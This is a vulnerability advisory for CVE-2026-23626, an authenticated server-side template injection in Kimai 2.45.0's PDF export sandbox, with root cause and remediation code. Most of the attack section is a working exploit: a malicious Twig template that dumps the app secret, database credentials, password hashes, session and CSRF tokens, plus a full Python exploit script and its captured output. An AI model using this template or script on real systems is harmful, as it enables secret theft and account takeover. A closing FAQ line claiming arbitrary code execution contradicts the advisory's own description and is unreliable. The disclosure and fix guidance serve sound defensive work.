CVE-2026-23626: Kimai Vulnerable to Authenticated Server-Side Template Injection (SSTI)
Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)
Vulnerability Summary
| Field | Value | |-------|-------| | Title | Authenticated SSTI via Permissive Export Template Sandbox || Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | High (Admin with export permissions and server access) | | User Interaction | None | | Impact | Confidentiality: HIGH (Credential/Secret Extraction) | | Affected Versions | Kimai 2.45.0 (likely earlier versions) | | Tested On | Docker: kimai/kimai2:apache-2.45.0 | | Discovery Date | 2026-01-05 |
---
Why Scope is "Changed": The extracted APPSECRET can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.
---
Vulnerability Description
Kimai's export functionality uses a Twig sandbox with an overly permissive security policy (DefaultPolicy) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:
1. Environment Variables (APPSECRET, DATABASEURL) 2. All User Password Hashes (bcrypt) 3. Serialized Session Tokens 4. CSRF Tokens
---
Prerequisites
1. Authenticated Access: Valid account with export permissions (typically ROLEADMIN, ROLESUPERADMIN, or ROLETEAMLEAD) 2. Template Deployment: Ability to place a malicious .pdf.twig template in /opt/kimai/var/export/ via: - Filesystem access (server admin)
---
Test Environment
Users in Test Instance
The test environment contains 2 users whose password hashes were successfully extracted:
Kimai Users Page - screenshotusers.png: <img width="1124" height="1119" alt="screenshotusers" src="https://github.com/user-attachments/assets/89771b84-a95c-4c6d-9515-7e9a38ef3235" />
| User | Role | Hash Extracted | |------|------|----------------| | admin | ROLESUPERADMIN | ✅ Yes | | lowpriv | ROLEUSER | ✅ Yes |
---
Confirmed Exploitation Evidence
Test Date: 2026-01-05
Extracted Data (Actual Output from Exploit)
===SSTIEXTRACTIONSTART===
1. ENVIRONMENT VARIABLES APPSECRET: changethistosomethingunique DATABASEURL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0 APPENV: prod
2. SESSION TOKEN (SERIALIZED) O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{ i:0;N;i:1;s:12:"securedarea";i:2;a:5:{ i:0;O:15:"App\Entity\User":5:{ s:2:"id";i:1; s:8:"username";s:5:"admin"; s:7:"enabled";b:1; s:5:"email";s:17:"admin@example.com"; s:8:"password";s:60:"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye"; } i:1;b:1;i:2;N;i:3;a:0:{} i:4;a:2:{i:0;s:16:"ROLESUPERADMIN";i:1;s:9:"ROLEUSER";} } }
3. CURRENT USER DETAILS username: admin email: admin@example.com passwordhash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye roles: ROLESUPERADMIN, ROLEUSER
4. ALL USER PASSWORD HASHES (FROM TIMESHEETS) admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a
5. CSRF TOKENS csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4 csrf/datatableupdate: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCzHLtbBJ58
===SSTIEXTRACTIONEND===
---
Root Cause Analysis
Vulnerable Code: src/Twig/SecurityPolicy/ExportPolicy.php
The export functionality uses ExportPolicy which includes DefaultPolicy:
php $this->policy->addPolicy(new DefaultPolicy());
The Problem: src/Twig/SecurityPolicy/DefaultPolicy.php
php final class DefaultPolicy implements SecurityPolicyInterface { public function checkSecurity($tags, $filters, $functions): void { // EMPTY - No restrictions on Twig tags/filters/functions }
public function checkMethodAllowed($obj, $method): void { // EMPTY - Allows ANY method call on ANY object }
public function checkPropertyAllowed($obj, $property): void { // EMPTY - Allows ANY property access on ANY object } }
This allows templates to call methods like: - app.request.server.get("APPSECRET") - Environment variable access - app.session.get("securitysecuredarea") - Session data access - entry.user.password - Password hash access
---
Exploitation Steps
Step 1: Deploy Malicious Template
Save the following as /opt/kimai/var/export/ssti-extract.pdf.twig:
bash docker exec kimai-kimai-1 bash -c 'cat > /opt/kimai/var/export/ssti-extract.pdf.twig << "TEMPLATE" <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>SSTI Data Extraction</title> <style> body { font-family: monospace; font-size: 10px; } h1, h2 { color: #333; } pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; } </style> </head> <body>
<h1>===SSTIEXTRACTIONSTART===</h1>
<h2>1. ENVIRONMENT VARIABLES</h2> <pre> APPSECRET: {{ app.request.server.get("APPSECRET") }} DATABASEURL: {{ app.request.server.get("DATABASEURL") }} APPENV: {{ app.request.server.get("APPENV") }} APPDEBUG: {{ app.request.server.get("APPDEBUG") }} </pre>
<h2>2. SESSION TOKEN (SERIALIZED)</h2> <pre> {{ app.session.get("securitysecuredarea") }} </pre>
<h2>3. CURRENT USER DETAILS</h2> <pre> {% set user = query.currentUser %} username: {{ user.username }} email: {{ user.email }} passwordhash: {{ user.password }} roles: {{ user.roles|join(", ") }} id: {{ user.id }} </pre>
<h2>4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)</h2> <pre> {% set seen = {} %} {% for entry in entries %} {% if entry.user is defined and entry.user.username not in seen %} {% set seen = seen|merge({(entry.user.username): true}) %} {{ entry.user.username }}:{{ entry.user.password }} {% endif %} {% endfor %} </pre>
<h2>5. CSRF TOKENS</h2> <pre> csrf/search: {{ app.session.get("csrf/search") }} csrf/datatableupdate: {{ app.session.get("csrf/datatableupdate") }} csrf/entitiesmultiupdate: {{ app.session.get("csrf/entitiesmultiupdate") }} </pre>
<h2>6. USER PREFERENCES</h2> <pre> {% set user = query.currentUser %} {% for pref in user.preferences %} {{ pref.name }}: {{ pref.value }} {% endfor %} </pre>
<h1>===SSTIEXTRACTIONEND===</h1>
</body> </html> TEMPLATE'
Step 2: Run the Exploit
bash python3 sstiexploit.py http://localhost:8001 admin ChangeMeStrong123!
Step 3: Extract Text from PDF
bash pdftotext kimaiextracteddata.pdf -
---
Detailed Exploit Usage
Requirements
bash Install Python dependencies pip install requests
Install PDF text extraction tool sudo apt install poppler-utils
Command Syntax
python3 sstiexploit.py <targeturl> <username> <password> [templatename]
Arguments: targeturl - Kimai instance URL (e.g., http://localhost:8001) username - Valid admin username with export permissions password - User password templatename - Optional: custom template (default: ssti-extract.pdf.twig)
Example Usage
bash Basic usage python3 sstiexploit.py http://localhost:8001 admin ChangeMeStrong123!
With custom template python3 sstiexploit.py http://localhost:8001 admin ChangeMeStrong123! custom-template.pdf.twig
Expected Output
╔═══════════════════════════════════════════════════════════════╗ ║ Kimai 2.45.0 - SSTI Information Disclosure Exploit ║ ║ ║ ║ Extracts: APPSECRET, DATABASEURL, Password Hashes ║ ╚═══════════════════════════════════════════════════════════════╝
[] Connecting to http://localhost:8001 [] Authenticating as admin [+] Successfully authenticated as admin [] Triggering SSTI with template: ssti-extract.pdf.twig [+] PDF generated successfully: 35356 bytes [+] PDF saved to: kimaiextracteddata.pdf
============================================================ RAW EXTRACTED DATA: ============================================================ ===SSTIEXTRACTIONSTART===
1. ENVIRONMENT VARIABLES APPSECRET: changethistosomethingunique DATABASEURL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0 APPENV: prod
2. SESSION TOKEN (SERIALIZED) O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{...}
3. CURRENT USER DETAILS username: admin email: admin@example.com passwordhash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye roles: ROLESUPERADMIN, ROLEUSER
4. ALL USER PASSWORD HASHES (FROM TIMESHEETS) admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a
5. CSRF TOKENS csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4 csrf/datatableupdate: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCzHLtbBJ58
===SSTIEXTRACTIONEND===
============================================================ CRITICAL FINDINGS SUMMARY: ============================================================ [!] APPSECRET: changethistosomethingunique [!] DATABASEURL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0 [!] Password Hashes Found: 2 unique admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye... lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a... [!] Session Token: Present (serialized PHP object) [!] CSRF Tokens: 2 found
[+] Exploitation successful! [+] Full output saved to: kimaiextracteddata.pdf
Output Files
| File | Description | |------|-------------| | kimaiextracteddata.pdf | PDF containing all extracted sensitive data |
Manual PDF Text Extraction
bash Extract text from PDF pdftotext kimaiextracteddata.pdf -
Save to file pdftotext kimaiextracteddata.pdf extractedsecrets.txt
Search for specific secrets pdftotext kimaiextracteddata.pdf - | grep -E "(APPSECRET|DATABASEURL|\\\$2y\\\$)"
Error Handling
| Error Message | Cause | Solution | |---------------|-------|----------| | Cannot connect to <url> | Target unreachable | Check URL and network | | Authentication failed | Wrong credentials | Verify username/password | | Template not found | Template not deployed | Deploy template first (Step 1) | | Access denied | Insufficient permissions | Use admin account with export perms | | pdftotext not installed | Missing tool | Run apt install poppler-utils |
---
Complete Exploit Script (sstiexploit.py)
python #!/usr/bin/env python3 """ Kimai 2.45.0 - SSTI Information Disclosure Exploit Extracts: APPSECRET, DATABASEURL, Password Hashes, Session Tokens
Prerequisites: 1. Valid admin credentials 2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig
Usage: python3 sstiexploit.py <targeturl> <username> <password> Example: python3 sstiexploit.py http://localhost:8001 admin ChangeMeStrong123!
Author: Security Research Date: 2026-01-05 """
import requests import re import subprocess import sys import os
class KimaiSSTIExploit: def init(self, target, username, password): self.target = target.rstrip('/') self.session = requests.Session() self.username = username self.password = password def login(self): """Authenticate to Kimai""" print(f"[] Connecting to {self.target}") try: loginpage = self.session.get(f"{self.target}/en/login", timeout=10) except requests.exceptions.ConnectionError: raise Exception(f"Cannot connect to {self.target}") except requests.exceptions.Timeout: raise Exception(f"Connection timeout to {self.target}") if loginpage.statuscode != 200: raise Exception(f"Cannot reach login page: HTTP {loginpage.statuscode}") csrfmatch = re.search(r'name="csrftoken"[^>]value="([^"]+)"', loginpage.text) if not csrfmatch: raise Exception("CSRF token not found on login page") csrf = csrfmatch.group(1) print(f"[] Authenticating as {self.username}") loginresp = self.session.post( f"{self.target}/en/logincheck", data={ "username": self.username, "password": self.password, "csrftoken": csrf }, allowredirects=True, timeout=10 ) # Check for successful login if "logout" not in loginresp.text.lower() and "sign out" not in loginresp.text.lower(): if "invalid" in loginresp.text.lower() or "incorrect" in loginresp.text.lower(): raise Exception("Invalid username or password") raise Exception("Authentication failed - check credentials") print(f"[+] Successfully authenticated as {self.username}") return True def triggerssti(self, templatename="ssti-extract.pdf.twig"): """Trigger SSTI via export functionality""" print(f"[] Triggering SSTI with template: {templatename}") try: exportresp = self.session.post( f"{self.target}/en/export/data", data={ "renderer": templatename, "state": "3", # All states "billable": "0", # All billable states "exported": "5", # All export states "markAsExported": "0", }, timeout=60 ) except requests.exceptions.Timeout: raise Exception("Export request timed out") if exportresp.statuscode == 404: raise Exception(f"Template '{templatename}' not found - deploy template first") if exportresp.statuscode == 403: raise Exception("Access denied - user lacks export permissions") if exportresp.statuscode != 200: raise Exception(f"Export failed: HTTP {exportresp.statuscode}") if b'%PDF' not in exportresp.content[:10]: if b'error' in exportresp.content.lower() or b'exception' in exportresp.content.lower(): raise Exception("Template rendering error - check template syntax") raise Exception("Invalid response - expected PDF output") print(f"[+] PDF generated successfully: {len(exportresp.content)} bytes") return exportresp.content def extracttext(self, pdfcontent, outputpath="/tmp/kimaisstioutput.pdf"): """Extract text from PDF using pdftotext""" with open(outputpath, "wb") as f: f.write(pdfcontent) try: result = subprocess.run( ["pdftotext", outputpath, "-"], captureoutput=True, text=True, timeout=30 ) if result.returncode != 0: print(f"[-] pdftotext error: {result.stderr}") return None return result.stdout except FileNotFoundError: print("[-] pdftotext not installed") print(" Install with: apt install poppler-utils") return None except subprocess.TimeoutExpired: print("[-] pdftotext timed out") return None
def parsefindings(self, text): """Parse and categorize extracted data""" findings = { "appsecret": None, "databaseurl": None, "passwordhashes": [], "sessiontoken": None, "csrftokens": [] } lines = text.split('\n') for i, line in enumerate(lines): line = line.strip() if "APPSECRET:" in line: findings["appsecret"] = line.split("APPSECRET:")[-1].strip() if "DATABASEURL:" in line or "mysql://" in line: if "mysql://" in line: findings["databaseurl"] = line.strip() elif i + 1 < len(lines): findings["databaseurl"] = lines[i + 1].strip() if "$2y$" in line: findings["passwordhashes"].append(line) if "UsernamePasswordToken" in line: findings["sessiontoken"] = "Present (serialized PHP object)" if "csrf" in line.lower() or len(line) == 43: if ":" in line: findings["csrftokens"].append(line) return findings
def printbanner(): print(""" ╔═══════════════════════════════════════════════════════════════╗ ║ Kimai 2.45.0 - SSTI Information Disclosure Exploit ║ ║ ║ ║ Extracts: APPSECRET, DATABASEURL, Password Hashes ║ ╚═══════════════════════════════════════════════════════════════╝ """)
def main(): printbanner() if len(sys.argv) < 4: print("Usage: python3 sstiexploit.py <targeturl> <username> <password> [templatename]") print() print("Arguments:") print(" targeturl - Kimai instance URL (e.g., http://localhost:8001)") print(" username - Valid admin username") print(" password - User password") print(" templatename - Optional: custom template name (default: ssti-extract.pdf.twig)") print() print("Example:") print(" python3 sstiexploit.py http://localhost:8001 admin ChangeMeStrong123!") print() print("Prerequisites:") print(" 1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig") print(" 2. User must have export permissions (ROLEADMIN or higher)") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] template = sys.argv[4] if len(sys.argv) > 4 else "ssti-extract.pdf.twig" exploit = KimaiSSTIExploit(target, username, password) try: # Step 1: Authenticate exploit.login() # Step 2: Trigger SSTI pdfcontent = exploit.triggerssti(template) # Step 3: Save PDF outputfile = "kimaiextracteddata.pdf" with open(outputfile, "wb") as f: f.write(pdfcontent) print(f"[+] PDF saved to: {outputfile}") # Step 4: Extract and display text text = exploit.extracttext(pdfcontent) if text: print() print("="60) print("RAW EXTRACTED DATA:") print("="60) print(text[:2000]) if len(text) > 2000: print(f"\n... [{len(text) - 2000} more characters]") # Parse findings findings = exploit.parsefindings(text) print() print("="60) print("CRITICAL FINDINGS SUMMARY:") print("="60) if findings["appsecret"]: print(f"[!] APPSECRET: {findings['appsecret']}") if findings["databaseurl"]: print(f"[!] DATABASEURL: {findings['databaseurl']}") if findings["passwordhashes"]: uniquehashes = list(set(findings["passwordhashes"])) print(f"[!] Password Hashes Found: {len(uniquehashes)} unique") for h in uniquehashes[:5]: print(f" {h[:80]}...") if len(uniquehashes) > 5: print(f" ... and {len(uniquehashes) - 5} more") if findings["sessiontoken"]: print(f"[!] Session Token: {findings['sessiontoken']}") if findings["csrftokens"]: print(f"[!] CSRF Tokens: {len(findings['csrftokens'])} found") print() print("[+] Exploitation successful!") print(f"[+] Full output saved to: {outputfile}") return 0 except KeyboardInterrupt: print("\n[-] Interrupted by user") return 130 except Exception as e: print(f"[-] Exploitation failed: {e}") return 1
if name == "main": sys.exit(main())
---
Impact Analysis
| Extracted Data | Security Impact | |---------------|-----------------| | APPSECRET | Can forge Symfony login links to access ANY user account | | DATABASEURL | Direct database connection credentials exposed | | Password Hashes | Offline password cracking possible (bcrypt) | | Session Tokens | Session structure analysis, potential replay attacks | | CSRF Tokens | Bypass CSRF protection for subsequent attacks |
Attack Chain Example
1. Exploit SSTI → Extract APPSECRET 2. Use APPSECRET to forge login link for target user 3. Access target user's account without knowing their password
---
Remediation
Immediate Fix
Replace DefaultPolicy with InvoicePolicy in ExportPolicy:
php // src/Twig/SecurityPolicy/ExportPolicy.php // Change: $this->policy->addPolicy(new DefaultPolicy());
// To: $this->policy->addPolicy(new InvoicePolicy());
Additional Hardening
1. Block environment access in templates: php public function checkMethodAllowed($obj, $method): void { if ($obj instanceof Request && $method === 'getServer') { throw new SecurityError('Server access not allowed'); } }
2. Block session access in templates: php if ($obj instanceof Session) { throw new SecurityError('Session access not allowed'); }
3. Restrict User object property access: php if ($obj instanceof User && $method === 'getPassword') { throw new SecurityError('Password access not allowed'); }
---
Reported by: Mahammad Huseynkhanli
Other sources
Kimai is a web-based multi-user time-tracking application. Prior to version 2.46.0, Kimai's export functionality uses a Twig sandbox with an overly permissive security policy (DefaultPolicy) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including environment variables, all user password hashes, serialized session tokens, and CSRF tokens. Version 2.46.0 patches this issue.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-23626?
CVE-2026-23626 is classified as a high severity vulnerability due to the potential for authenticated server-side template injection.
How do I fix CVE-2026-23626?
To fix CVE-2026-23626, upgrade Kimai to version 2.46.0 or later where this vulnerability has been addressed.
Who is affected by CVE-2026-23626?
CVE-2026-23626 affects users of Kimai versions prior to 2.46.0, which includes all prior releases.
What kind of attacks can exploit CVE-2026-23626?
CVE-2026-23626 can be exploited to perform arbitrary code execution through authenticated server-side template injection.
What mitigation steps should be taken for CVE-2026-23626?
In addition to upgrading Kimai to version 2.46.0, it's advisable to review and restrict user permissions to minimize exposure.